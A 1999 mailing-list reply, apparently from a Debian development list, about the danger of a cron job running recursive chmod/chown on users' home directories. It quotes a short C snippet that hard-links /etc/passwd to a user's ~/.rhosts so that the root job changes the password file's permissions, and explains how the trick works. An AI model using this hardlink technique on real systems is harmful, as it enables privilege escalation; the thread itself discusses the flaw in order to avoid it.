Re: chmod/chown -R - maybe an ITP
On Mon, Dec 13, 1999 at 10:23:36AM -0500, Daniel Burrows wrote:
> On Mon, Dec 13, 1999 at 03:37:14PM +0100, Russell Coker was heard to say:
> > unlink("/home/user/.rhosts");
> > link("/etc/passwd", "/home/user/.rhosts");
> > sleep(60);
> > unlink("/home/user/.rhosts");
> > exit(0);
>
> Actually, you probably want to open it with O_TRUNC, since unlinking it will
> just remove the entry in ~user, but point taken :)
I think that's the idea -- during the sleep, the cron job has changed
the permissions on ~/.rhosts (and hence /etc/passwd). After that the link
is no longer required. The idea is to change the permissions, not
to delete /etc/passwd, in this case.
Hamish
--
Hamish Moffatt VK3SB. CCs of replies on mailing lists are welcome.
Reply to: